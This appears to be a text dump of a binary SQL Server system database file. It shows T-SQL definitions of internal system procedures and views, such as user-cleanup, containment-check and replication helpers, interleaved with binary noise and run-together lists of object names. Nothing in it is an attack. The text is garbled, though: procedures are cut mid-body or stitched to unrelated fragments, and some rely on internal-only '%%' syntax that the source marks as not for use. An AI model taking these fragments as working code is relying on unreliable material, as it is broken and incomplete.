                   AND so2.type = 'U')
    BEGIN
        RETURN 1
    END

    IF EXISTS (SELECT * 
                    from sys.objects as so
                        join dbo.sysindexes as si
                            on si.id = so.object_id
                    WHERE so.object_id = @tabid
                    AND so.type = 'V')
    BEGIN
        -- evaluate keys, make sure none are nullable
        DECLARE @indkey int
                    ,@objname nvarchar(256)

        SELECT @indkey = 1
        select @objname = QUOTENAME(schema_name(OBJECTPROPERTY(@tabid, N'SchemaId'))) + N'.' + QUOTENAME(object_name( @tabid )) 

        WHILE @indkey <= 16 and index_col( @objname, 1, @indkey ) is not null
        BEGIN
            IF NOT EXISTS( SELECT * FROM sys.columns 
                        WHERE object_id = @tabid
                        AND name = index_col( @objname, 1, @indkey )
                        AND is_nullable = 0 )
            BEGIN
                RETURN 0
            END

            SELECT @indkey = @indkey + 1
        END
        RETURN 1
    END
    ELSE
    BEGIN
        RETURN 0
    END
end

`<
4^0> 8-----------------------------------------------------
-- NOTE: FOR INTERNAL USE ONLY (sp_certify_removable)
--      DO NOT DOCUMENT OR USE!
-----------------------------------------------------
create procedure sys.sp_check_removable_sysusers
    @autofix    varchar(4)      -- true or other
as
	declare		@alias sysname
			,@idsch int	-- schema id

	if (not (is_srvrolemember('sysadmin') = 1))  -- Make sure that it is the SA executing this.
	begin
		raiserror(15247,-1,-1)
		return(1)
	end

	BEGIN TRANSACTION

	-- LOCK CURRENT DATABASE
	EXEC %%CurrentDatabase().Lock()

	-- CHECK FOR DATABASE OWNED BY SQL USER --
	if exists (select name from sys.database_principals where name = 'dbo' and type = 'S' and sid <> 0x1) -- 'sa'
	begin
        if @autofix <> 'auto'
        begin
			ROLLBACK TRANSACTION
			raiserror(15258,-1,-1)
			return(1)
        end

        -- MAKE SA THE DBO --
		declare @dbo sysname,
				@sid varbinary(85)

		select @dbo = N'dbo', @sid = 0x1 -- 'sa'
	    -- REMAP DBO TO NEW SID --
	    -- REFLECT CHANGE IN SYSDATABASES --
		EXEC %%UserOrGroup(Name = @dbo).SetSID(SID = @sid,
				IsExternal = 0, IsGroup = 0, 
				Action = NULL, UserNamePattern = NULL, LoginName = NULL, Password = NULL) -- may fail

		-- SID MAY BE DUPLICATE --
		if @@ERROR <> 0
		begin
			ROLLBACK TRANSACTION
			raiserror(15110,-1,-1)
			return (1)
		end

		raiserror(15502,-1,-1)
    end

    -- CHECK FOR PERMISSIONS GRANTED TO or BY SQL USERS --
    if exists (select grantee_principal_id from sys.database_permissions where grantee_principal_id in
                (select u.principal_id from sys.database_principals u where u.type = 'S' and u.principal_id > 4))
		OR exists (select grantor_principal_id from sys.database_permissions where grantor_principal_id in
	                (select u.principal_id from sys.database_principals u where u.type = 'S' and u.principal_id > 4))
    begin
		ROLLBACK TRANSACTION
		if @autofix = 'auto'
		    PRINT 'CANNOT AUTO-AUTOFIX GRANT-WITH-GRANT CHAINS'
		raiserror(15053,-1,-1)
		return(1)
    end

    -- CHECK FOR OBJECTS OWNED BY SQL USERS --
    if exists (select o.schema_id from sys.objects o where o.schema_id in
                (select s.schema_id from sys.schemas s where s.principal_id > 4))
    begin
		ROLLBACK TRANSACTION
		raiserror(15053,-1,-1)
        return(1)
    end

    -- CHECK FOR TYPES OWNED BY SQL USERS --
    if exists (select t.schema_id from sys.types t where t.schema_id in
                (select s.schema_id from sys.schemas s where s.principal_id > 4))
    begin
		ROLLBACK TRANSACTION
		raiserror(15053,-1,-1)
		return(1)
    end

    -- CHECK FOR ROLES OWNED BY SQL USERS --
    if exists (select owning_principal_id from sys.database_principals where type = 'R' and
        owning_principal_id in (select principal_id from sys.database_principals u where u.type = 'S' and u.principal_id > 4))
    begin
        if @autofix <> 'auto'
        begin
			ROLLBACK TRANSACTION
			raiserror(15053,-1,-1)
			return(1)
        end

        -- ASSIGN DBO AS OWNER OF ROLES --
	declare @role sysname
	declare ms_crs_roles cursor local static for
		select name from sys.database_principals where type = 'R' and
        owning_principal_id in (select principal_id from sys.database_principals u where u.type = 'S' and u.principal_id > 4)
	open ms_crs_roles
	fetch ms_crs_roles into @role
	while @@fetch_status = 0
	begin
		EXEC %%Role(Name = @role).SetOwner(OwnerID = 1)
		fetch ms_crs_roles into @role
	end
	close ms_crs_roles
	deallocate ms_crs_roles

	raiserror(15503,-1,-1)
    end

    -- CHECK FOR SQL LOGINS AS USERS --
    if exists (select principal_id from sys.database_principals u where u.type = 'S' and u.principal_id > 4)
    begin
        if @autofix <> 'auto'
        begin
			ROLLBACK TRANSACTION
			raiserror(15254,-1,-1)
			return(1)
        end

	-- DELETE SQL USERS --
	declare @user sysname, @uid int
	declare ms_crs_users cursor local static for
		select name, principal_id from sys.database_principals u where u.type = 'S' and u.principal_id > 4
	open ms_crs_users
	fetch ms_crs_users into @user, @uid
	while @@fetch_status = 0
	begin
		EXEC %%Owner(Name = @user).Remove()
		fetch ms_crs_users into @user, @uid
	end
	close ms_crs_users
	deallocate ms_crs_users

	raiserror(15504,-1,-1)
    end

	COMMIT TRANSACTION
	-- SUCCESS --
	return (0)	-- sp_check_removable_sysusers
0\@ 8
create view sys.dm_exec_cached_plans as select * from OpenRowset(TABLE SYSDMEXECCACHEDPLANS)
0' D8uWhIZ(H0Í Y8CREATE VIEW sys.dm_hadr_availability_replica_cluster_states AS
	SELECT 
		replica_id = arcs.replica_id,
		replica_server_name = arcs.replica_server_name,
		group_id = arcs.group_id,
		join_state = arcs.join_state,
		join_state_desc = CASE
			WHEN (join_state = 0) THEN CAST ('NOT_JOINED' AS nvarchar(60))
			WHEN (join_state = 1) THEN CAST ('JOINED_STANDALONE' AS nvarchar(60))
			WHEN (join_state = 2) THEN CAST ('JOINED_FCI' AS nvarchar(60))
			ELSE CAST (NULL AS nvarchar(60)) END
	FROM OpenRowset(TABLE DM_HADR_AVAILABILITY_REPLICA_CLUSTER_STATES) arcs
`<.80{ 8
CREATE VIEW sys.dm_db_uncontained_entities
AS
	-- The class values correspond to the UNC classes defined in sys.syspalvalues.
	SELECT V.class, U.name as class_desc, V.major_id, V.statement_line_number, V.statement_offset_begin, V.statement_offset_end, V.statement_type, V.feature_name, V.feature_type_name
	FROM
	(
		-- Check for breachings features in USER_TABLES (and its computed columns), CHECK_CONSTRAINTS, DEFAULT CONSTRAINTS (skipping old-style defaults) and TYPE_TABLE.
		-- class = 1: OBJECT_OR_COLUMN
		SELECT 1 AS class, X.object_id AS major_id, DMV.statement_line_number, DMV.statement_offset_begin, DMV.statement_offset_end, DMV.statement_type, DMV.feature_name, DMV.feature_type_name
		FROM
		(
			SELECT Obj.object_id FROM sys.objects Obj WHERE (Obj.type = 'U' OR Obj.type = 'C' OR ( Obj.type = 'D' AND Obj.parent_object_id <> 0) OR Obj.type ='TT')			
		) X
		CROSS APPLY OPENROWSET(TABLE DM_DB_MODULE_CONTAINMENT_BREACHING_FEATURES, X.object_id, 0, 0) DMV
	
		UNION ALL
		
		-- modules, excluding database level DDL triggers
		-- Collation of the class_desc column follows collation of the name column in sys.syspalvalues table 
		-- since these class names are stored there.
		-- 
		SELECT 1 AS class, X.object_id AS major_id, DMV.statement_line_number, DMV.statement_offset_begin, DMV.statement_offset_end, DMV.statement_type, DMV.feature_name, DMV.feature_type_name
		FROM
		(
			-- Ignore database level DDL triggers by joining with sys.objects. We will handle them below
			-- since they are a different UNC class
			SELECT Mod.object_id, CASE Obj.type WHEN 'P ' THEN 1 ELSE 0 END AS subobjid 
			FROM sys.sql_modules Mod INNER JOIN sys.objects Obj ON Mod.object_id=Obj.object_id
		) X
		CROSS APPLY OPENROWSET(TABLE DM_DB_MODULE_CONTAINMENT_BREACHING_FEATURES, X.object_id, X.subobjid, 0) DMV

		UNION ALL

		-- T-SQL DDL triggers
		-- class = 12: DATABASE_DDL_TRIGGER
		SELECT 12, T.object_id, DMV.statement_line_number, DMV.statement_offset_begin, DMV.statement_offset_end, DMV.statement_type, DMV.feature_name, DMV.feature_type_name
		FROM sys.triggers T 
		CROSS APPLY OPENROWSET(TABLE DM_DB_MODULE_CONTAINMENT_BREACHING_FEATURES, T.object_id, 0, 0) DMV
		WHERE T.parent_class = 0

		UNION ALL

		-- all CLR modules are currently considered uncontained for MinCDB (Ignore database-level DDL triggers by joining with sys.objects)
		SELECT 1, Mod.object_id, NULL, NULL, NULL, NULL, N'Assembly Module' COLLATE Latin1_General_CI_AS_KS_WS, N'Database Entity' COLLATE Latin1_General_CI_AS_KS_WS
		FROM sys.assembly_modules Mod INNER JOIN sys.objects Obj ON Mod.object_id=Obj.object_id

		UNION ALL

		-- all CLR DDL Triggers are currently considered uncontained for MinCDB
		SELECT 12, Mod.object_id, NULL, NULL, NULL, NULL, N'Assembly Module' COLLATE Latin1_General_CI_AS_KS_WS, N'Database Entity' COLLATE Latin1_General_CI_AS_KS_WS
		FROM sys.assembly_modules Mod INNER JOIN sys.triggers T ON Mod.object_id=T.object_id
		WHERE T.parent_class = 0

		UNION ALL

		-- all user-defined CLR UDTs are currently considered uncontained for MinCDB
		-- class = 6: TYPE
		SELECT 6, user_type_id, NULL, NULL, NULL, NULL, N'Assembly Type' COLLATE Latin1_General_CI_AS_KS_WS, N'Database Entity' COLLATE Latin1_General_CI_AS_KS_WS
		FROM sys.assembly_types
		WHERE is_user_defined = 1

		UNION ALL

		SELECT 1, object_id, NULL, NULL, NULL, NULL, DMV.feature_name, DMV.feature_type_name
		FROM sys.synonyms S
		CROSS APPLY OPENROWSET(TABLE DM_DB_MODULE_CONTAINMENT_BREACHING_FEATURES, S.object_id, 0, 0) DMV
		WHERE S.is_ms_shipped=0

		UNION ALL

		-- unsafe or external access CLR assemblies are uncontained
		-- class = 5: ASSEMBLY
		SELECT 5, assembly_id, NULL, NULL, NULL, NULL, N'Assembly' COLLATE Latin1_General_CI_AS_KS_WS, N'Database Entity' COLLATE Latin1_General_CI_AS_KS_WS
		FROM sys.assemblies
		WHERE (is_user_defined = 1 AND permission_set >= 2)

		UNION ALL

		-- users linked to instance logins including orphaned users are uncontained
		-- class = 4: DATABASE_PRINCIPAL
		SELECT 4, principal_id, NULL, NULL, NULL, NULL, N'Database Principal' COLLATE Latin1_General_CI_AS_KS_WS, N'Database Entity' COLLATE Latin1_General_CI_AS_KS_WS
		FROM sys.database_principals
		-- 'S' means SQL_USER and 1 means INSTANCE
		WHERE type='S' AND authentication_type=1

		UNION ALL

		-- certificate mapped users who dont have a matching certificate in this db are uncontained. The mapping between
		-- a certificate mapped user and a certificate is based on SID equality.
		SELECT 4, D.principal_id, NULL, NULL, NULL, NULL, N'Database Principal' COLLATE Latin1_General_CI_AS_KS_WS, N'Database Entity' COLLATE Latin1_General_CI_AS_KS_WS
		FROM sys.certificates C RIGHT OUTER JOIN sys.database_principals D ON C.sid = D.sid 
		WHERE D.type='C' AND C.name IS NULL

		UNION ALL

		-- asymmetric key mapped users who dont have a matching aymmetric key in this db are uncontained. The mapping between
		-- a asymmetric key mapped user and an asymmetric key is based on SID equality.
		SELECT 4, D.principal_id, NULL, NULL, NULL, NULL, N'Database Principal' COLLATE Latin1_General_CI_AS_KS_WS, N'Database Entity' COLLATE Latin1_General_CI_AS_KS_WS
		FROM sys.asymmetric_keys K RIGHT OUTER JOIN sys.database_principals D ON K.sid = D.sid 
		WHERE D.type='K' AND K.name IS NULL

		UNION ALL

		-- all full-text indexes are currently considered uncontained for MinCDB
		-- class = 7: INDEX
		SELECT 7, object_id, NULL, NULL, NULL, NULL, N'Full-text Index' COLLATE Latin1_General_CI_AS_KS_WS, N'Database Entity' COLLATE Latin1_General_CI_AS_KS_WS
		FROM sys.fulltext_indexes

		UNION ALL

		-- all routes are uncontained for MinCDB
		-- class = 19: ROUTE
		SELECT 19, route_id, NULL, NULL, NULL, NULL, N'Route' COLLATE Latin1_General_CI_AS_KS_WS, N'Database Entity' COLLATE Latin1_General_CI_AS_KS_WS
		FROM sys.routes

		UNION ALL

		-- class = 30: AUDIT_SPECIFICATION
		SELECT 30, database_specification_id, NULL, NULL, NULL, NULL, N'Database Audit Specification' COLLATE Latin1_General_CI_AS_KS_WS, N'Database Entity' COLLATE Latin1_General_CI_AS_KS_WS
		FROM sys.database_audit_specifications
	) V
	INNER JOIN sys.syspalvalues U ON V.class=U.value AND U.class = 'UNCL'
	WHERE dbprop(db_id(), 'issystemdb') != 1
0\@ 8CREATE PROC sys.sp_help_spatial_geography_index_xml
(
	@tabname		NVARCHAR(776),		-- the TABLE to check for indexes
	@indexname		SYSNAME,		-- the INDEX name
	@verboseoutput	TINYINT,		-- OUTPUT all properties
	@query_sample	GEOGRAPHY,		-- query window object
	@xml_output		XML OUTPUT		-- XML variable to OUTPUT
)
AS
BEGIN
	EXEC sys.sp_help_spatial_geography_index_helper @tabname, @indexname, 1, @xml_output OUTPUT, @verboseoutput, @query_sample
END
B`\	<7Wx0H@ 8
create procedure sys.sp_user_counter1 @newvalue int as
dbcc setinstance ('SQLServer:User Settable', 'Query', 'User counter 1', @newvalue)
0#@ r8create view sys.trace_columns as select * from OpenRowset(TABLE SYSTRACECOLUMNS)
0P 8CREATE VIEW INFORMATION_SCHEMA.REFERENTIAL_CONSTRAINTS
AS
SELECT
	DB_NAME()				AS CONSTRAINT_CATALOG,
	SCHEMA_NAME(f.schema_id)		AS CONSTRAINT_SCHEMA,
	f.name					AS CONSTRAINT_NAME,
	DB_NAME()				AS UNIQUE_CONSTRAINT_CATALOG,
	SCHEMA_NAME(t.schema_id)		AS UNIQUE_CONSTRAINT_SCHEMA,
	i.name					AS UNIQUE_CONSTRAINT_NAME,
	convert(varchar(7), 'SIMPLE')	AS MATCH_OPTION,
	convert(varchar(11), CASE f.update_referential_action
		WHEN 0 THEN 'NO ACTION'
		WHEN 1 THEN 'CASCADE'
		WHEN 2 THEN 'SET NULL'
		WHEN 3 THEN 'SET DEFAULT' END) AS UPDATE_RULE,
	convert(varchar(11), CASE f.delete_referential_action
		WHEN 0 THEN 'NO ACTION'
		WHEN 1 THEN 'CASCADE'
		WHEN 2 THEN 'SET NULL'
		WHEN 3 THEN 'SET DEFAULT' END) AS DELETE_RULE
FROM		
	sys.foreign_keys f
	LEFT JOIN sys.indexes i ON i.object_id = f.referenced_object_id AND i.index_id = f.key_index_id
	LEFT JOIN sys.tables t ON t.object_id = f.referenced_object_id
0HE@ `8create procedure sys.sp_firstonly_bitmap (
    @inputbitmap1 varbinary(128), 
    @inputbitmap2 varbinary(128),
    @resultbitmap3 varbinary(128)   OUTPUT
)
as
begin
    declare @retcode int
    exec @retcode = sys.xp_firstonly_bitmap @inputbitmap1,@inputbitmap2,@resultbitmap3 output
    return @retcode
end
0<@ P8Sh>?0뇝@ q8create procedure sys.sp_scriptmappedupdproc 
(
    @artid int                  -- id of the article we are processing
    ,@mode tinyint = 1    		-- 1 = static scripting, 2 = dynamic scripting
    ,@publishertype tinyint=1   -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL	-- May only be non-NULL if @publishertype = 2
)
as
begin
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- call core function
    --
    exec @retcode = sys.sp_scriptupdproccore 
             @artid = @artid
            ,@format = 2	-- MCALL format
            ,@mode = @mode
            ,@publishertype = @publishertype
            ,@publisher = @publisher
    return @retcode
end
0+@ 8CREATE PROCEDURE sys.sp_MSdrop_distribution_agentid_dbowner_proxy
(
    @agent_id int
)
AS
begin
	declare @retcode int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    exec @retcode = sys.sp_MSdrop_distribution_agentid @agent_id = @agent_id
    return @retcode
end
0/5@ 8CREATE PROCEDURE sys.sp_MSget_new_errorid
(
    @errorid int OUTPUT,
    @xact_seqno varbinary(16) = NULL,
    @command_id int = NULL
)
AS
begin
    set nocount on

    SELECT @errorid = NULL

    BEGIN TRAN sp_MSget_new_errorid

    SELECT TOP(1) @errorid = id FROM dbo.MSrepl_errors with (UPDLOCK PAGLOCK)
        ORDER BY id DESC

    IF @errorid IS NULL
        SELECT @errorid = 1
    ELSE
        SELECT @errorid = @errorid + 1

    INSERT INTO dbo.MSrepl_errors(id, time, error_type_id, source_type_id, source_name,
				error_code, error_text, xact_seqno, command_id, session_id)
		VALUES (@errorid, GETDATE(), NULL, /* Error with type NULL is placeholder, refer to sp_MSget_repl_error */
				NULL, NULL, NULL, NULL, @xact_seqno, @command_id, NULL)

    /* return an 0 error_id if failed to insert the row */
    IF @@ERROR <> 0
        SELECT @errorid = 0

    SELECT @errorid

    COMMIT TRAN
end
declare @object_name sysname
            ,@sync_ins_proc_id int
            ,@sync_upd_proc_id int
            ,@sync_del_proc_id int
            ,@conflict_tableid  int
            ,@sync_upd_trig_id int
            ,@ins_conflict_proc int
            ,@sync_objid int
            ,@filter_id int
            ,@filter_name nvarchar(517)
            ,@type tinyint
            ,@objid int


    begin tran tr_sp_MSdrop_synctran_objects
    save tran tr_sp_MSdrop_synctran_objects

    -- 
    --  Publisher side cleanup
    --
    if object_id('dbo.sysarticleupdates') is not null
    begin
        declare #articleupdates cursor local fast_forward for
            select sync_ins_proc, sync_upd_proc, sync_del_proc, sync_upd_trig, conflict_tableid, ins_conflict_proc
                from sysarticleupdates 
    
        open #articleupdates

        fetch #articleupdates into @sync_ins_proc_id, @sync_upd_proc_id, @sync_del_proc_id, @sync_upd_trig_id, @conflict_tableid, @ins_conflict_proc

        while (@@fetch_status <> -1)
        begin
            if @sync_ins_proc_id is not null
                exec sys.sp_MSdrop_object @object_id = @sync_ins_proc_id

            if @sync_upd_proc_id is not null
                exec sys.sp_MSdrop_object @object_id = @sync_upd_proc_id

            if @sync_del_proc_id is not null
                exec sys.sp_MSdrop_object @object_id = @sync_del_proc_id

            if @sync_upd_trig_id is not null
                exec sys.sp_MSdrop_object @object_id = @sync_upd_trig_id

            if @conflict_tableid is not null
                exec sys.sp_MSdrop_object @object_id = @conflict_tableid

            if @ins_conflict_proc is not null
                exec sys.sp_MSdrop_object @object_id = @ins_conflict_proc

            fetch #articleupdates into @sync_ins_proc_id, @sync_upd_proc_id, @sync_del_proc_id, @sync_upd_trig_id, @conflict_tableid, @ins_conflict_proc
        end

        close #articleupdates
        deallocate #articleupdates
    end
    

    --
    -- Cleanup sync views
    --
    if object_id('dbo.sysarticles') is not null
    begin
        declare #sysarticles cursor local fast_forward for
            select type,objid,sync_objid,filter from sysextendedarticlesview where
                type & 7 > 0

        open #sysarticles

        fetch #sysarticles into @type, @objid, @sync_objid, @filter_id

        while @@fetch_status <> -1
        begin
            --
            -- Drop article view for logbased non-manual view
            --  
            if (@type & 5) = 1 and @sync_objid is not null
                exec sys.sp_MSdrop_object @object_id = @sync_objid

            --
            -- Drop article filter if logbased non-manualfilter
            --
            if (@type & 3) = 1 and @filter_id is not null and @filter_id <> 0
                exec sys.sp_MSdrop_object @object_id = @filter_id

            --
            -- Clear dependency for manual filter
            --  We do not want to drop it
            --
            if (@type & 3) = 3 
            begin
                if @filter_id is not null and @filter_id <> 0
                begin
                    exec sys.sp_MSget_qualified_name @filter_id, @filter_name OUTPUT
                    
                    if @filter_name is not null
                        EXEC sys.sp_MSsetfilterparent @filter_name, 0
                end
            end
            
            fetch #sysarticles into @type, @objid, @sync_objid, @filter_id
        end

        close #sysarticles
        deallocate #sysarticles
    end

    commit tran tr_sp_MSdrop_synctran_objects
    return(0)
end
ublisher
    return @retcode
end
>8^cu03 D8[h+5l
K`
:"+=&&"32Tdm_hadr_internal_transport_partners&Vdm_hadr_internal_wsfc_ag_db_replicas&>hVdm_hadr_internal_wsfc_ag_logical_dbs&"Pdm_hadr_internal_wsfc_ag_replicas&2dm_io_backup_tapes&ZGDdm_io_cluster_shared_drives&LSU@dm_io_pending_io_requests&D>dm_io_virtual_file_stats&~>Jdm_logconsumer_cachebufferrefs&y9Rdm_logconsumer_privatecachebuffers&)`6dm_logpool_consumers&:dm_logpool_hashentries&GHdm_logpool_sharedcachebuffers&-.dm_logpool_stats&<dm_logpoolmgr_freepools&c@dm_logpoolmgr_respoolsize&W4dm_logpoolmgr_stats&qH>dm_os_buffer_descriptors&18dm_os_child_instances&4dm_os_cluster_nodes&m>dm_os_cluster_properties&oj:dm_os_dispatcher_pools&0dm_os_dispatchers&$dm_os_hosts&D0dm_os_latch_stats&G6dm_os_loaded_modules&緰>dm_os_memory_allocations&"Bdm_os_memory_broker_clerks&6dm_os_memory_brokers&Jdm_os_memory_cache_clock_hands&[	Ddm_os_memory_cache_counters&Bdm_os_memory_cache_entries&|Jdm_os_memory_cache_hash_tables&54dm_os_memory_clerks&JJdm_os_memory_node_access_stats&q72dm_os_memory_nodes&_ 6dm_os_memory_objects&ҁ2dm_os_memory_pools&
$dm_os_nodes&8~6dm_os_process_memory&]2dm_os_ring_buffers&.dm_os_schedulers&ddm_os_server_diagnostics_log_configurations&56dm_os_spinlock_stats&&dm_os_stacks&xQ.dm_os_sublatches&-*dm_os_sys_info&h.dm_os_sys_memory&&$dm_os_tasks&|(dm_os_threads&Bdm_os_virtual_address_dump&2dm_os_volume_stats&-I.dm_os_wait_stats&o4dm_os_waiting_tasks&B2dm_os_windows_info&@ibBdm_os_worker_local_storage&V(dm_os_workers&<4dm_hadr_name_id_map&SBdm_os_performance_counters&yNdm_pdw_nodes_db_file_space_usage&B
\Pdm_pdw_nodes_db_index_usage_stats&-+eLdm_pdw_nodes_db_partition_stats&Tdm_pdw_nodes_db_session_space_usage&RNdm_pdw_nodes_db_task_space_usage&ɫZdm_pdw_nodes_exec_background_job_queue&O؉fdm_pdw_nodes_exec_background_job_queue_stats&3Jdm_pdw_nodes_exec_cached_plans&b@Hdm_pdw_nodes_exec_connections&pCPdm_pdw_nodes_exec_procedure_stats&dXdm_pdw_nodes_exec_query_memory_grants&Zdm_pdw_nodes_exec_query_optimizer_info&Sddm_pdw_nodes_exec_query_resource_semaphores&OHdm_pdw_nodes_exec_query_stats&Bdm_pdw_nodes_exec_requests&&?Bdm_pdw_nodes_exec_sessions&aXdm_pdw_nodes_io_cluster_shared_drives&Tdm_pdw_nodes_io_pending_io_requests&SRdm_pdw_nodes_os_buffer_descriptors&|Ldm_pdw_nodes_os_child_instances&/Hdm_pdw_nodes_os_cluster_nodes&'Ndm_pdw_nodes_os_dispatcher_pools&ȚDdm_pdw_nodes_os_dispatchers&e8dm_pdw_nodes_os_hosts&֩Ddm_pdw_nodes_os_latch_stats&_qJdm_pdw_nodes_os_loaded_modules&ʷJdm_pdw_nodes_os_memory_brokers&_^dm_pdw_nodes_os_memory_cache_clock_hands&6Xdm_pdw_nodes_os_memory_cache_counters&quAVdm_pdw_nodes_os_memory_cache_entries&]
^dm_pdw_nodes_os_memory_cache_hash_tables&QHdm_pdw_nodes_os_memory_clerks&k^dm_pdw_nodes_os_memory_node_access_stats&Fdm_pdw_nodes_os_memory_nodes&YJdm_pdw_nodes_os_memory_objects&Fdm_pdw_nodes_os_memory_pools&E8dm_pdw_nodes_os_nodes&7Vdm_pdw_nodes_os_performance_counters&Jdm_pdw_nodes_os_process_memory&Bdm_pdw_nodes_os_schedulers&MHJdm_pdw_nodes_os_spinlock_stats&rH>dm_pdw_nodes_os_sys_info&Bdm_pdw_nodes_os_sys_memory&h@98dm_pdw_nodes_os_tasks&D<dm_pdw_nodes_os_threads&
Vdm_pdw_nodes_os_virtual_address_dump&7vBdm_pdw_nodes_os_wait_stats&[5aHdm_pdw_nodes_os_waiting_tasks&!3<dm_pdw_nodes_os_workers&Š|dm_pdw_nodes_tran_active_snapshot_database_transactions&8lXdm_pdw_nodes_tran_active_transactions&;Jdm_pdw_nodes_tran_commit_table&5oRdm_pdw_nodes_tran_current_snapshot&vXdm_pdw_nodes_tran_current_transaction&\dm_pdw_nodes_tran_database_transactions&<dm_pdw_nodes_tran_locks&G)6dm_pdw_exec_sessions!!!!!!!!!!!!!!!!!!!!4@l0P\0h"|p~:p(6ZTdZl
0
Z(lB

T
&
		
	h	2		8h2|L(Lb&v@f&X
`
`
l".LkE&
Xsp_decimal_estimate_savings_for_table&pQ"sp_depends&M_2sp_describe_cursor&.$Bsp_describe_cursor_columns&L@sp_describe_cursor_tables&2Fsp_describe_first_result_set&]NPsp_describe_undeclared_parameters&p&sp_detach_db&iF*sp_dropapprole&%H(sp_dropdevice&4sp_dropextendedproc&`1<sp_dropextendedproperty&*sp_droporphans&6e$sp_droprole&0sp_droprolemember&XZ$sp_droptype&`$sp_dropuser&'4sp_enable_sql_debug&
Vsp_estimate_data_compression_savings&׵hsp_estimated_rowsize_reduction_for_vardecimal&G"sp_execute&B(sp_executesql&
R18sp_flush_commit_table&VLsp_flush_commit_table_on_demand&}4sp_fulltext_catalog&2sp_fulltext_column&}#|6sp_fulltext_database&R4sp_fulltext_getdata&\<sp_fulltext_keymappings&Lsp_fulltext_load_thesaurus_file&tBsp_fulltext_pendingchanges&YHsp_fulltext_recycle_crawl_log&ph@sp_fulltext_rethrow_error&7vsp_fulltext_semantic_register_language_statistics_db&&'(psp_filestream_recalculate_container_size_internal&zcY^sp_filestream_recalculate_container_size&qlsp_filestream_force_garbage_collection_internal&@Zsp_filestream_force_garbage_collection&96sp_dropsrvrolemember&?&sp_droplogin&(&sp_denylogin&u&sp_defaultdb&s2sp_defaultlanguage&T(sp_dropserver&P52sp_dropremotelogin&8sp_droplinkedsrvlogin&M*sp_dropmessage&܉qVsp_delete_http_namespace_reservation&T*sp_foreignkeys&wCsp_fkeys&':sp_foreign_keys_rowset&R<sp_foreign_keys_rowset2&
[0<sp_foreign_keys_rowset3&pc2Bsp_foreign_keys_rowset_rmt&,0sp_execute_policy&E.sp_execresultset&,Fsp_execresultset_nvarcharmax&hNsp_execresultset_nvarcharmaxrows&g<sp_droppullsubscription&ZiLsp_expired_subscription_cleanup&<Fsp_dropmergepullsubscription&T8sp_enableagentoffload&!9:sp_disableagentoffload&HE4sp_firstonly_bitmap&<<sp_dropreplsymmetrickey&l"sp_enumdsn&lˣ<sp_enumoledbdatasources&'G,sp_distcounters&.sp_droppublisher&0sp_dropsubscriber&Tg"sp_dsninfo&I6sp_dropdistpublisher&'8sp_dropdistributiondb&4
2sp_dropdistributor&iJ<sp_drop_agent_parameter&w8sp_drop_agent_profile&K$I,sp_dropdatatype&ˢ:sp_dropdatatypemapping&镧:sp_enumfullsubscribers&SVsp_enable_heterogeneous_subscription&*sp_droparticle&?2sp_droppublication&Ǒ4sp_dropsubscription&*,8sp_dropanonymousagent&'Dsp_deletetracertokenhistory&v|Dsp_deletepeerrequesthistory&y2sp_distagentstatus&1Fsp_dropanonymoussubscription& #\sp_delete_log_shipping_primary_database&Jc9^sp_delete_log_shipping_primary_secondary&n?^sp_delete_log_shipping_secondary_primary&`sp_delete_log_shipping_secondary_database&a@5rsp_delete_log_shipping_secondary_database_internal&[B1Nsp_delete_log_shipping_alert_job&	;[`sp_delete_log_shipping_alert_job_internal&[a4sp_dropmergearticle&Ic<sp_dropmergepublication&_2<sp_dropmergelogsettings&İ>sp_dropmergesubscription& 6:sp_enumcustomresolvers&kР2sp_dropmergefilter&@sp_deletemergeconflictrow&>Jsp_dropmergealternatepublisher&ygBsp_dropdynamicsnapshot_job&R8sp_dropmergepartition&Nsp_enumeratependingschemachanges&N.sp_enumerrorlogs&1Ů<sp_enum_oledb_providersullsubscription&2<sp_helppullsubscription&ZiLsp_expired_subscription_cleanup&3Fsp_helpmergepullsubscription&`sp_get_job_status_mergesubscription_agent&ݜhsp_get_job_status_mergepullsubscription_agent&hsp_get_job_status_mergepushsubscription_agent&<Fsp_dropmergepullsubscription&w1<sp_helpreplfailovermode&Bsp_helpreplicationdboption&;$2sp_get_distributor&.n4sp_getpublisherlink&82Nsp_getsubscriptiondtspackagename&T8sp_enableagentoffload&!9:sp_disableagentoffload&HE4sp_firstonly_bitmap&<<sp_dropreplsymmetrickey&,Dsp_generate_agent_parameter&Ժ:sp_helppublicationsync&l"sp_enumdsn&t,b.h,F*d	
D

\VFp@	
Z6L

*`0l 	
tJ,n2$N
dR|dNTf
@
`
A
"f20F&(Zdm_pdw_nodes_tran_session_transactions&^dm_pdw_nodes_tran_top_version_generators&6dm_pdw_request_steps&;d4dm_pdw_sql_requests&G&dm_pdw_waits&f0dm_pdw_wait_stats&Z,dm_pdw_sys_info&</8dm_pdw_query_stats_xe&|Bdm_pdw_query_stats_xe_file&0dm_pdw_os_threads&IJdm_pdw_os_performance_counters&c6dm_pdw_os_event_logs&8dm_pdw_online_backupsN<~.`
D"t/Gf&V(dm_os_workers&G)6dm_pdw_exec_sessions&yNdm_pdw_nodes_db_file_space_usage&B
